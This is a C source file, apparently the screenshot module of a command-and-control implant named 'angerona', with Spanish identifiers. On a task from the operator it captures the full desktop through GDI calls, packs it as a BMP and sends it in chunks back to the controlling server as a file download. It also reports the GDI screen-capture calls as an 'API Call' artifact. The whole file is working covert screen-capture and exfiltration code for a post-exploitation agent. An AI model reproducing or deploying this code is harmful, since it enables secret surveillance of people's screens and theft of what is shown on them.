#include "screenshot.h"
#include "angerona.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include <windows.h>
#include <wingdi.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

VOID CapturarPantalla(PAnalizador argumentos) {
    // Match input_type=None format used by pwd: [nbArg:4][UUID(36)]
    UINT32 nbArg = getInt32(argumentos);
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    _inf("[screenshot] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
    
    if (!tareaUuid || tamanoUuid != 36) {
        _err("[screenshot] UUID de tarea inválido (len=%zu)", tamanoUuid);
        return;
    }
    
    // Ensure UUID is null-terminated for addString (same as download)
    CHAR uuidBuffer[37] = {0};
    memcpy(uuidBuffer, tareaUuid, 36);
    uuidBuffer[36] = '\0';
    tareaUuid = uuidBuffer;

    // Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets
    BYTE uuidRaw[36];
    memcpy(uuidRaw, tareaUuid, 36);
    
    _inf("[screenshot] Iniciando captura de pantalla");
    
    // Get screen dimensions
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);
    
    if (screenWidth == 0 || screenHeight == 0) {
        _err("[screenshot] Error obteniendo dimensiones de pantalla");
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener las dimensiones de pantalla\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    _inf("[screenshot] Dimensiones: %dx%d", screenWidth, screenHeight);
    
    // Get desktop DC
    HDC hScreenDC = GetDC(NULL);
    if (!hScreenDC) {
        _err("[screenshot] Error obteniendo DC del escritorio");
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo obtener el DC del escritorio\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Create compatible DC and bitmap
    HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
    if (!hMemoryDC) {
        _err("[screenshot] Error creando compatible DC");
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear compatible DC\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Create bitmap
    HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
    if (!hBitmap) {
        _err("[screenshot] Error creando bitmap");
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear bitmap\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Select bitmap into memory DC
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap);
    
    // Copy screen to bitmap
    if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY)) {
        DWORD error = GetLastError();
        _err("[screenshot] Error copiando pantalla con BitBlt, código de error: %lu", error);
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        
        // Provide more specific error messages based on error code
        if (error == ERROR_INVALID_HANDLE || error == 6) {
            PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Handle inválido (error: %lu). Puede que no haya sesión interactiva activa.\n", error);
        } else if (error == ERROR_ACCESS_DENIED || error == 5) {
            PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Acceso denegado (error: %lu). Se requieren permisos de sesión interactiva.\n", error);
        } else if (error == ERROR_INVALID_PARAMETER || error == 87) {
            PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Parámetros inválidos (error: %lu). Verifica dimensiones de pantalla.\n", error);
        } else {
            PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo copiar la pantalla. Código de error: %lu\n", error);
        }
        
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Get bitmap info
    BITMAPINFO bmpInfo = {0};
    bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpInfo.bmiHeader.biWidth = screenWidth;
    bmpInfo.bmiHeader.biHeight = -screenHeight; // Negative for top-down DIB
    bmpInfo.bmiHeader.biPlanes = 1;
    bmpInfo.bmiHeader.biBitCount = 24; // RGB
    bmpInfo.bmiHeader.biCompression = BI_RGB;
    
    // Calculate bitmap data size
    DWORD bmpDataSize = ((screenWidth * 3 + 3) & ~3) * screenHeight; // Align to 4 bytes
    bmpInfo.bmiHeader.biSizeImage = bmpDataSize;
    
    // Allocate buffer for bitmap data
    PBYTE bmpData = (PBYTE)LocalAlloc(LPTR, bmpDataSize);
    if (!bmpData) {
        _err("[screenshot] Error asignando memoria para bitmap");
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Get bitmap bits
    if (!GetDIBits(hScreenDC, hBitmap, 0, screenHeight, bmpData, &bmpInfo, DIB_RGB_COLORS)) {
        _err("[screenshot] Error obteniendo bits del bitmap");
        LocalFree(bmpData);
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener los bits del bitmap\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Create BMP file header
    DWORD bmpFileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpDataSize;
    PBYTE bmpFile = (PBYTE)LocalAlloc(LPTR, bmpFileSize);
    if (!bmpFile) {
        _err("[screenshot] Error asignando memoria para archivo BMP");
        LocalFree(bmpData);
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria para el archivo\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Write BMP file header
    PBITMAPFILEHEADER bmpFileHeader = (PBITMAPFILEHEADER)bmpFile;
    bmpFileHeader->bfType = 0x4D42; // "BM"
    bmpFileHeader->bfSize = bmpFileSize;
    bmpFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
    
    // Write bitmap info header
    memcpy(bmpFile + sizeof(BITMAPFILEHEADER), &bmpInfo.bmiHeader, sizeof(BITMAPINFOHEADER));
    
    // Write bitmap data
    memcpy(bmpFile + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), bmpData, bmpDataSize);
    
    // Cleanup
    LocalFree(bmpData);
    SelectObject(hMemoryDC, hOldBitmap);
    DeleteObject(hBitmap);
    DeleteDC(hMemoryDC);
    ReleaseDC(NULL, hScreenDC);
    
    _inf("[screenshot] Captura completada: %lu bytes", bmpFileSize);
    
    // Send screenshot as download with special path "SCREENSHOT" to identify it
    // The translator will detect this and add is_screenshot: true
    const DWORD CHUNK_SIZE = 512 * 1024;
    DWORD totalChunks = (bmpFileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
    
    // Send registration (EXACT same format as download)
    PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    _inf("[screenshot] DEBUG: tareaUuid=%p, uuid(len=36)='%.36s'", tareaUuid, tareaUuid);
    _inf("[screenshot] DEBUG: len antes de UUID (registro) = %zu", registroRespuesta->length);
    addBytes(registroRespuesta, (PBYTE)uuidRaw, 36, FALSE);
    _inf("[screenshot] DEBUG: len después de UUID (registro) = %zu", registroRespuesta->length);

    PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaRegistro, FALSE, "[screenshot] Captura de pantalla: %dx%d (%lu bytes, %lu chunks)\n", 
                          screenWidth, screenHeight, bmpFileSize, totalChunks);
    addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);

    // Use special path "SCREENSHOT" so translator knows this is a screenshot
    addDownloadRegistration(registroRespuesta, "SCREENSHOT", totalChunks, CHUNK_SIZE);

    // Send registration and get file_id
    PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
    liberarPaquete(salidaRegistro);
    liberarPaquete(registroRespuesta);
    
    if (!respuestaRegistro) {
        _err("[screenshot] Error: No se recibió respuesta del registro\n");
        LocalFree(bmpFile);
        return;
    }
    
    // Extract file_id from response (same logic as download)
    PCHAR file_id = NULL;
    PBYTE buffer = respuestaRegistro->buffer;
    SIZE_T len = respuestaRegistro->tamano;
    
    for (SIZE_T i = 0; i < len - 5; i++) {
        if (buffer[i] == 0xFB) {
            i++; // Skip marker
            if (i + 4 > len) break;
            UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
            i += 4;
            if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) break;
            file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
            if (file_id) {
                memcpy(file_id, buffer + i, file_id_len);
                file_id[file_id_len] = '\0';
            }
            break;
        }
    }
    if (!file_id) {
        _err("[screenshot] Error: No se pudo extraer file_id de la respuesta\n");
        liberarAnalizador(respuestaRegistro);
        LocalFree(bmpFile);
        return;
    }
    
    _inf("[screenshot] File ID recibido: %s\n", file_id);
    liberarAnalizador(respuestaRegistro);
    
    // Send chunks
    DWORD chunkNum = 1;
    DWORD offset = 0;
    
    while (offset < bmpFileSize) {
        DWORD chunkSize = (bmpFileSize - offset > CHUNK_SIZE) ? CHUNK_SIZE : (bmpFileSize - offset);
        PBYTE chunkBuffer = bmpFile + offset;
        
        _inf("[screenshot] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, chunkSize);
        
        // Build chunk POST_RESPONSE (EXACT same format as download)
        PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
        _inf("[screenshot] DEBUG: len antes de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
        addBytes(chunkRespuesta, (PBYTE)uuidRaw, 36, FALSE);
        _inf("[screenshot] DEBUG: len después de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);

        // Add empty output for download chunks
        addInt32(chunkRespuesta, 0);

        // Add download chunk
        addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, chunkSize);

        PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
        liberarPaquete(chunkRespuesta);
        if (respuestaChunk) liberarAnalizador(respuestaChunk);

        offset += chunkSize;
        chunkNum++;
    }
    
    // Send final message (EXACT same format as download)
    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
    _inf("[screenshot] DEBUG: len antes de UUID (final) = %zu", respuestaFinal->length);
    addBytes(respuestaFinal, (PBYTE)uuidRaw, 36, FALSE);
    _inf("[screenshot] DEBUG: len después de UUID (final) = %zu", respuestaFinal->length);

    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaFinal, FALSE, "[screenshot] Screenshot enviado: %dx%d (%lu bytes)\n", 
                          screenWidth, screenHeight, bmpFileSize);
    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);

    // Report API Call artifact for screen capture
    addArtifact(respuestaFinal, "API Call", "GDI Screen Capture: GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits");

    mandarPaquete(respuestaFinal);
    liberarPaquete(salidaFinal);
    liberarPaquete(respuestaFinal);
    
    LocalFree(bmpFile);
    LocalFree(file_id);
}

